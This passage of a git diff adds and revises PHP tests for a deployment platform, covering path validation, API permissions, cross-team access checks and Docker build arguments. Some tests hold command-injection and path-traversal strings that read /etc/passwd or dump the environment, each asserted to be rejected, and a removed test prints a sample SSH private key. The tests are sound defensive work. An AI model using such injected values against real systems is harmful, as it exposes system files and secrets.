+ });
+
+ test('rejects pipe injection', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/Dockerfile | cat /etc/passwd', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+ });
+
+ test('rejects ampersand injection', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/Dockerfile && env', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+ });
+
+ test('rejects path traversal', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/../../../etc/passwd', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'path traversal detected');
+ });
+
+ test('allows valid simple path', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect($method->invoke($instance, '/Dockerfile', 'dockerfile_location'))
+ ->toBe('/Dockerfile');
+ });
+
+ test('allows valid nested path with dots and hyphens', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect($method->invoke($instance, '/docker/Dockerfile.prod', 'dockerfile_location'))
+ ->toBe('/docker/Dockerfile.prod');
+ });
+
+ test('allows valid compose file path', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect($method->invoke($instance, '/docker-compose.prod.yml', 'docker_compose_location'))
+ ->toBe('/docker-compose.prod.yml');
+ });
+});
+
+describe('API validation rules for path fields', function () {
+ test('dockerfile_location validation rejects shell metacharacters', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['dockerfile_location' => '/Dockerfile; echo pwned; #'],
+ ['dockerfile_location' => $rules['dockerfile_location']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('dockerfile_location validation allows valid paths', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['dockerfile_location' => '/docker/Dockerfile.prod'],
+ ['dockerfile_location' => $rules['dockerfile_location']]
+ );
+
+ expect($validator->fails())->toBeFalse();
+ });
+
+ test('docker_compose_location validation rejects shell metacharacters', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_location' => '/docker-compose.yml; env; #'],
+ ['docker_compose_location' => $rules['docker_compose_location']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('docker_compose_location validation allows valid paths', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_location' => '/docker/docker-compose.prod.yml'],
+ ['docker_compose_location' => $rules['docker_compose_location']]
+ );
+
+ expect($validator->fails())->toBeFalse();
+ });
+});
+
+describe('sharedDataApplications rules survive array_merge in controller', function () {
+ test('docker_compose_location safe regex is not overridden by local rules', function () {
+ $sharedRules = sharedDataApplications();
+
+ // Simulate what ApplicationsController does: array_merge(shared, local)
+ // After our fix, local no longer contains docker_compose_location,
+ // so the shared regex rule must survive
+ $localRules = [
+ 'name' => 'string|max:255',
+ 'docker_compose_domains' => 'array|nullable',
+ ];
+ $merged = array_merge($sharedRules, $localRules);
+
+ // The merged rules for docker_compose_location should be the safe regex, not just 'string'
+ expect($merged['docker_compose_location'])->toBeArray();
+ expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/');
+ });
+});
+
+describe('path fields require leading slash', function () {
+ test('dockerfile_location without leading slash is rejected by API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['dockerfile_location' => 'Dockerfile'],
+ ['dockerfile_location' => $rules['dockerfile_location']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('docker_compose_location without leading slash is rejected by API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = validator(
+ ['docker_compose_location' => 'docker-compose.yaml'],
+ ['docker_compose_location' => $rules['docker_compose_location']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+ });
+
+ test('deployment job rejects path without leading slash', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, 'docker-compose.yaml', 'docker_compose_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+ });
+});
+
+describe('API route middleware for deploy actions', function () {
+ test('application start route requires deploy ability', function () {
+ $routes = app('router')->getRoutes();
+ $route = $routes->getByAction('App\Http\Controllers\Api\ApplicationsController@action_deploy');
+
+ expect($route)->not->toBeNull();
+ $middleware = $route->gatherMiddleware();
+ expect($middleware)->toContain('api.ability:deploy');
+ expect($middleware)->not->toContain('api.ability:write');
+ });
+
+ test('application restart route requires deploy ability', function () {
+ $routes = app('router')->getRoutes();
+ $matchedRoute = null;
+ foreach ($routes as $route) {
+ if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'restart')) {
+ $matchedRoute = $route;
+ break;
+ }
+ }
+
+ expect($matchedRoute)->not->toBeNull();
+ $middleware = $matchedRoute->gatherMiddleware();
+ expect($middleware)->toContain('api.ability:deploy');
+ });
+
+ test('application stop route requires deploy ability', function () {
+ $routes = app('router')->getRoutes();
+ $matchedRoute = null;
+ foreach ($routes as $route) {
+ if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'stop')) {
+ $matchedRoute = $route;
+ break;
+ }
+ }
+
+ expect($matchedRoute)->not->toBeNull();
+ $middleware = $matchedRoute->gatherMiddleware();
+ expect($middleware)->toContain('api.ability:deploy');
+ });
+
+ test('database start route requires deploy ability', function () {
+ $routes = app('router')->getRoutes();
+ $matchedRoute = null;
+ foreach ($routes as $route) {
+ if (str_contains($route->uri(), 'databases') && str_contains($route->uri(), 'start')) {
+ $matchedRoute = $route;
+ break;
+ }
+ }
+
+ expect($matchedRoute)->not->toBeNull();
+ $middleware = $matchedRoute->gatherMiddleware();
+ expect($middleware)->toContain('api.ability:deploy');
+ });
+
+ test('service start route requires deploy ability', function () {
+ $routes = app('router')->getRoutes();
+ $matchedRoute = null;
+ foreach ($routes as $route) {
+ if (str_contains($route->uri(), 'services') && str_contains($route->uri(), 'start')) {
+ $matchedRoute = $route;
+ break;
+ }
+ }
+
+ expect($matchedRoute)->not->toBeNull();
+ $middleware = $matchedRoute->gatherMiddleware();
+ expect($middleware)->toContain('api.ability:deploy');
+ });
+});
diff --git a/tests/Feature/DomainsByServerApiTest.php b/tests/Feature/DomainsByServerApiTest.php
new file mode 100644
index 000000000..1e799bec5
--- /dev/null
+++ b/tests/Feature/DomainsByServerApiTest.php
@@ -0,0 +1,80 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+function authHeaders(): array
+{
+ return [
+ 'Authorization' => 'Bearer '.test()->bearerToken,
+ ];
+}
+
+test('returns domains for own team application via uuid query param', function () {
+ $application = Application::factory()->create([
+ 'fqdn' => 'https://my-app.example.com',
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}");
+
+ $response->assertOk();
+ $response->assertJsonFragment(['my-app.example.com']);
+});
+
+test('returns 404 when application uuid belongs to another team', function () {
+ $otherTeam = Team::factory()->create();
+ $otherUser = User::factory()->create();
+ $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
+
+ $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
+ $otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
+ $otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
+ $otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
+
+ $otherApplication = Application::factory()->create([
+ 'fqdn' => 'https://secret-app.internal.company.com',
+ 'environment_id' => $otherEnvironment->id,
+ 'destination_id' => $otherDestination->id,
+ 'destination_type' => $otherDestination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}");
+
+ $response->assertNotFound();
+ $response->assertJson(['message' => 'Application not found.']);
+});
+
+test('returns 404 for nonexistent application uuid', function () {
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid");
+
+ $response->assertNotFound();
+ $response->assertJson(['message' => 'Application not found.']);
+});
diff --git a/tests/Feature/EnvironmentVariableUpdateApiTest.php b/tests/Feature/EnvironmentVariableUpdateApiTest.php
new file mode 100644
index 000000000..9c45dc5ae
--- /dev/null
+++ b/tests/Feature/EnvironmentVariableUpdateApiTest.php
@@ -0,0 +1,194 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+
+ $this->token = $this->user->createToken('test-token', ['*']);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+describe('PATCH /api/v1/services/{uuid}/envs', function () {
+ test('returns the updated environment variable object', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ EnvironmentVariable::create([
+ 'key' => 'APP_IMAGE_TAG',
+ 'value' => 'old-value',
+ 'resourceable_type' => Service::class,
+ 'resourceable_id' => $service->id,
+ 'is_preview' => false,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/services/{$service->uuid}/envs", [
+ 'key' => 'APP_IMAGE_TAG',
+ 'value' => 'new-value',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure([
+ 'uuid',
+ 'key',
+ 'is_literal',
+ 'is_multiline',
+ 'is_shown_once',
+ 'created_at',
+ 'updated_at',
+ ]);
+ $response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']);
+ $response->assertJsonMissing(['message' => 'Environment variable updated.']);
+ });
+
+ test('returns 404 when environment variable does not exist', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/services/{$service->uuid}/envs", [
+ 'key' => 'NONEXISTENT_KEY',
+ 'value' => 'some-value',
+ ]);
+
+ $response->assertStatus(404);
+ $response->assertJson(['message' => 'Environment variable not found.']);
+ });
+
+ test('returns 404 when service does not exist', function () {
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson('/api/v1/services/non-existent-uuid/envs', [
+ 'key' => 'APP_IMAGE_TAG',
+ 'value' => 'some-value',
+ ]);
+
+ $response->assertStatus(404);
+ });
+
+ test('returns 422 when key is missing', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/services/{$service->uuid}/envs", [
+ 'value' => 'some-value',
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
+
+describe('PATCH /api/v1/applications/{uuid}/envs', function () {
+ test('returns the updated environment variable object', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ EnvironmentVariable::create([
+ 'key' => 'APP_IMAGE_TAG',
+ 'value' => 'old-value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $application->id,
+ 'is_preview' => false,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
+ 'key' => 'APP_IMAGE_TAG',
+ 'value' => 'new-value',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure([
+ 'uuid',
+ 'key',
+ 'is_literal',
+ 'is_multiline',
+ 'is_shown_once',
+ 'created_at',
+ 'updated_at',
+ ]);
+ $response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']);
+ $response->assertJsonMissing(['message' => 'Environment variable updated.']);
+ });
+
+ test('returns 404 when environment variable does not exist', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
+ 'key' => 'NONEXISTENT_KEY',
+ 'value' => 'some-value',
+ ]);
+
+ $response->assertStatus(404);
+ });
+
+ test('returns 422 when key is missing', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
+ 'value' => 'some-value',
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
diff --git a/tests/Feature/MultilineEnvironmentVariableTest.php b/tests/Feature/MultilineEnvironmentVariableTest.php
index e32a2ce99..453e11109 100644
--- a/tests/Feature/MultilineEnvironmentVariableTest.php
+++ b/tests/Feature/MultilineEnvironmentVariableTest.php
@@ -1,144 +1,59 @@
'SSH_PRIVATE_KEY', 'value' => "'{$sshKey}'", 'is_multiline' => true],
+ ['key' => 'SSH_PRIVATE_KEY', 'value' => "'some-ssh-key'", 'is_multiline' => true],
['key' => 'REGULAR_VAR', 'value' => 'simple value', 'is_multiline' => false],
];
$buildArgs = generateDockerBuildArgs($variables);
- // SSH key should use double quotes and have proper escaping
- $sshArg = $buildArgs->first();
- expect($sshArg)->toStartWith('--build-arg SSH_PRIVATE_KEY="');
- expect($sshArg)->toEndWith('"');
- expect($sshArg)->toContain('BEGIN OPENSSH PRIVATE KEY');
- expect($sshArg)->not->toContain("'BEGIN"); // Should not have the wrapper single quotes
-
- // Regular var should use escapeshellarg (single quotes)
- $regularArg = $buildArgs->last();
- expect($regularArg)->toBe("--build-arg REGULAR_VAR='simple value'");
+ // Docker gets values from the environment, so only keys should be in build args
+ expect($buildArgs->first())->toBe('--build-arg SSH_PRIVATE_KEY');
+ expect($buildArgs->last())->toBe('--build-arg REGULAR_VAR');
});
-test('multiline variables with special bash characters are escaped correctly', function () {
- $valueWithSpecialChars = "line1\nline2 with \"quotes\"\nline3 with \$variables\nline4 with `backticks`";
+test('generateDockerBuildArgs works with collection of objects', function () {
+ $variables = collect([
+ (object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
+ (object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
+ ]);
+ $buildArgs = generateDockerBuildArgs($variables);
+ expect($buildArgs)->toHaveCount(2);
+ expect($buildArgs->values()->toArray())->toBe([
+ '--build-arg VAR1',
+ '--build-arg VAR2',
+ ]);
+});
+
+test('generateDockerBuildArgs collection can be imploded into valid command string', function () {
$variables = [
- ['key' => 'SPECIAL_VALUE', 'value' => "'{$valueWithSpecialChars}'", 'is_multiline' => true],
+ ['key' => 'COOLIFY_URL', 'value' => 'http://example.com', 'is_multiline' => false],
+ ['key' => 'COOLIFY_BRANCH', 'value' => 'main', 'is_multiline' => false],
+ ];
+
+ $buildArgs = generateDockerBuildArgs($variables);
+
+ // The collection must be imploded to a string for command interpolation
+ // This was the bug: Collection was interpolated as JSON instead of a space-separated string
+ $argsString = $buildArgs->implode(' ');
+ expect($argsString)->toBe('--build-arg COOLIFY_URL --build-arg COOLIFY_BRANCH');
+
+ // Verify it does NOT produce JSON when cast to string
+ expect($argsString)->not->toContain('{');
+ expect($argsString)->not->toContain('}');
+});
+
+test('generateDockerBuildArgs handles variables without is_multiline', function () {
+ $variables = [
+ ['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
- // Verify double quotes are escaped
- expect($arg)->toContain('\\"quotes\\"');
- // Verify dollar signs are escaped
- expect($arg)->toContain('\\$variables');
- // Verify backticks are escaped
- expect($arg)->toContain('\\`backticks\\`');
-});
-
-test('single-line environment variables use escapeshellarg', function () {
- $variables = [
- ['key' => 'SIMPLE_VAR', 'value' => 'simple value with spaces', 'is_multiline' => false],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- // Should use single quotes from escapeshellarg
- expect($arg)->toBe("--build-arg SIMPLE_VAR='simple value with spaces'");
-});
-
-test('multiline certificate with newlines is preserved', function () {
- $certificate = '-----BEGIN CERTIFICATE-----
-MIIDXTCCAkWgAwIBAgIJAKL0UG+mRkSvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
-BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
-aWRnaXRzIFB0eSBMdGQwHhcNMTkwOTE3MDUzMzI5WhcNMjkwOTE0MDUzMzI5WjBF
------END CERTIFICATE-----';
-
- $variables = [
- ['key' => 'TLS_CERT', 'value' => "'{$certificate}'", 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- // Newlines should be preserved in the output
- expect($arg)->toContain("\n");
- expect($arg)->toContain('BEGIN CERTIFICATE');
- expect($arg)->toContain('END CERTIFICATE');
- expect(substr_count($arg, "\n"))->toBeGreaterThan(0);
-});
-
-test('multiline JSON configuration is properly escaped', function () {
- $jsonConfig = '{
- "key": "value",
- "nested": {
- "array": [1, 2, 3]
- }
-}';
-
- $variables = [
- ['key' => 'JSON_CONFIG', 'value' => "'{$jsonConfig}'", 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- // All double quotes in JSON should be escaped
- expect($arg)->toContain('\\"key\\"');
- expect($arg)->toContain('\\"value\\"');
- expect($arg)->toContain('\\"nested\\"');
-});
-
-test('empty multiline variable is handled correctly', function () {
- $variables = [
- ['key' => 'EMPTY_VAR', 'value' => "''", 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- expect($arg)->toBe('--build-arg EMPTY_VAR=""');
-});
-
-test('multiline variable with only newlines', function () {
- $onlyNewlines = "\n\n\n";
-
- $variables = [
- ['key' => 'NEWLINES_ONLY', 'value' => "'{$onlyNewlines}'", 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- expect($arg)->toContain("\n");
- // Should have 3 newlines preserved
- expect(substr_count($arg, "\n"))->toBe(3);
-});
-
-test('multiline variable with backslashes is escaped correctly', function () {
- $valueWithBackslashes = "path\\to\\file\nC:\\Windows\\System32";
-
- $variables = [
- ['key' => 'PATH_VAR', 'value' => "'{$valueWithBackslashes}'", 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- // Backslashes should be doubled
- expect($arg)->toContain('path\\\\to\\\\file');
- expect($arg)->toContain('C:\\\\Windows\\\\System32');
+ expect($arg)->toBe('--build-arg NO_FLAG_VAR');
});
test('generateDockerEnvFlags produces correct format', function () {
@@ -155,54 +70,14 @@ test('generateDockerEnvFlags produces correct format', function () {
expect($envFlags)->toContain('line2');
});
-test('helper functions work with collection input', function () {
+test('generateDockerEnvFlags works with collection input', function () {
$variables = collect([
(object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
(object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
]);
- $buildArgs = generateDockerBuildArgs($variables);
- expect($buildArgs)->toHaveCount(2);
-
$envFlags = generateDockerEnvFlags($variables);
expect($envFlags)->toBeString();
expect($envFlags)->toContain('-e VAR1=');
expect($envFlags)->toContain('-e VAR2="');
});
-
-test('variables without is_multiline default to false', function () {
- $variables = [
- ['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- // Should use escapeshellarg (single quotes) since is_multiline defaults to false
- expect($arg)->toBe("--build-arg NO_FLAG_VAR='some value'");
-});
-
-test('real world SSH key example', function () {
- // Simulate what real_value returns (wrapped in single quotes)
- $sshKey = "'-----BEGIN OPENSSH PRIVATE KEY-----
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
-QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
-hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
-AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
-uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
------END OPENSSH PRIVATE KEY-----'";
-
- $variables = [
- ['key' => 'KEY', 'value' => $sshKey, 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- // Should produce clean output without wrapper quotes
- expect($arg)->toStartWith('--build-arg KEY="-----BEGIN OPENSSH PRIVATE KEY-----');
- expect($arg)->toEndWith('-----END OPENSSH PRIVATE KEY-----"');
- // Should NOT have the escaped quote sequence that was in the bug
- expect($arg)->not->toContain("''");
- expect($arg)->not->toContain("'\\''");
-});
diff --git a/tests/Feature/PushServerUpdateJobTest.php b/tests/Feature/PushServerUpdateJobTest.php
new file mode 100644
index 000000000..d508d58ab
--- /dev/null
+++ b/tests/Feature/PushServerUpdateJobTest.php
@@ -0,0 +1,76 @@
+create();
+ $service = Service::factory()->create([
+ 'server_id' => $server->id,
+ ]);
+ $serviceApp = ServiceApplication::factory()->create([
+ 'service_id' => $service->id,
+ ]);
+
+ $data = [
+ 'containers' => [
+ [
+ 'name' => 'test-container',
+ 'state' => 'running',
+ 'health_status' => 'healthy',
+ 'labels' => [
+ 'coolify.managed' => true,
+ 'coolify.serviceId' => (string) $service->id,
+ 'coolify.service.subType' => 'application',
+ 'coolify.service.subId' => '',
+ ],
+ ],
+ ],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+
+ // Run handle - should not throw a PDOException about empty bigint
+ $job->handle();
+
+ // The empty subId container should have been skipped
+ expect($job->foundServiceApplicationIds)->not->toContain('');
+ expect($job->serviceContainerStatuses)->toBeEmpty();
+});
+
+test('containers with valid service subId are processed', function () {
+ $server = Server::factory()->create();
+ $service = Service::factory()->create([
+ 'server_id' => $server->id,
+ ]);
+ $serviceApp = ServiceApplication::factory()->create([
+ 'service_id' => $service->id,
+ ]);
+
+ $data = [
+ 'containers' => [
+ [
+ 'name' => 'test-container',
+ 'state' => 'running',
+ 'health_status' => 'healthy',
+ 'labels' => [
+ 'coolify.managed' => true,
+ 'coolify.serviceId' => (string) $service->id,
+ 'coolify.service.subType' => 'application',
+ 'coolify.service.subId' => (string) $serviceApp->id,
+ 'com.docker.compose.service' => 'myapp',
+ ],
+ ],
+ ],
+ ];
+
+ $job = new PushServerUpdateJob($server, $data);
+ $job->handle();
+
+ expect($job->foundServiceApplicationIds)->toContain((string) $serviceApp->id);
+});
diff --git a/tests/Feature/ResourceOperationsCrossTenantTest.php b/tests/Feature/ResourceOperationsCrossTenantTest.php
new file mode 100644
index 000000000..056c7757c
--- /dev/null
+++ b/tests/Feature/ResourceOperationsCrossTenantTest.php
@@ -0,0 +1,85 @@
+userA = User::factory()->create();
+ $this->teamA = Team::factory()->create();
+ $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+
+ $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
+ $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
+ $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+ $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+ $this->applicationA = Application::factory()->create([
+ 'environment_id' => $this->environmentA->id,
+ 'destination_id' => $this->destinationA->id,
+ 'destination_type' => $this->destinationA->getMorphClass(),
+ ]);
+
+ // Team B (victim's team)
+ $this->teamB = Team::factory()->create();
+ $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
+ $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
+ $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
+ $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
+
+ $this->actingAs($this->userA);
+ session(['currentTeam' => $this->teamA]);
+});
+
+test('cloneTo rejects destination belonging to another team', function () {
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('cloneTo', $this->destinationB->id)
+ ->assertHasErrors('destination_id');
+
+ // Ensure no cross-tenant application was created
+ expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse();
+});
+
+test('cloneTo allows destination belonging to own team', function () {
+ $secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
+
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('cloneTo', $secondDestination->id)
+ ->assertHasNoErrors('destination_id')
+ ->assertRedirect();
+});
+
+test('moveTo rejects environment belonging to another team', function () {
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('moveTo', $this->environmentB->id);
+
+ // Resource should still be in original environment
+ $this->applicationA->refresh();
+ expect($this->applicationA->environment_id)->toBe($this->environmentA->id);
+});
+
+test('moveTo allows environment belonging to own team', function () {
+ $secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+ Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
+ ->call('moveTo', $secondEnvironment->id)
+ ->assertRedirect();
+
+ $this->applicationA->refresh();
+ expect($this->applicationA->environment_id)->toBe($secondEnvironment->id);
+});
+
+test('StandaloneDockerPolicy denies update for cross-team user', function () {
+ expect($this->userA->can('update', $this->destinationB))->toBeFalse();
+});
+
+test('StandaloneDockerPolicy allows update for same-team user', function () {
+ expect($this->userA->can('update', $this->destinationA))->toBeTrue();
+});
diff --git a/tests/Feature/ScheduledJobManagerStaleLockTest.php b/tests/Feature/ScheduledJobManagerStaleLockTest.php
new file mode 100644
index 000000000..e297c07bd
--- /dev/null
+++ b/tests/Feature/ScheduledJobManagerStaleLockTest.php
@@ -0,0 +1,49 @@
+set($lockKey, 'stale-owner');
+
+ expect($redis->ttl($lockKey))->toBe(-1);
+
+ $job = new ScheduledJobManager;
+ $job->middleware();
+
+ expect($redis->exists($lockKey))->toBe(0);
+});
+
+it('preserves valid lock with positive TTL', function () {
+ $cachePrefix = config('cache.prefix');
+ $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
+
+ $redis = Redis::connection('default');
+ $redis->set($lockKey, 'active-owner');
+ $redis->expire($lockKey, 60);
+
+ expect($redis->ttl($lockKey))->toBeGreaterThan(0);
+
+ $job = new ScheduledJobManager;
+ $job->middleware();
+
+ expect($redis->exists($lockKey))->toBe(1);
+
+ $redis->del($lockKey);
+});
+
+it('does not fail when no lock exists', function () {
+ $cachePrefix = config('cache.prefix');
+ $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
+
+ Redis::connection('default')->del($lockKey);
+
+ $job = new ScheduledJobManager;
+ $middleware = $job->middleware();
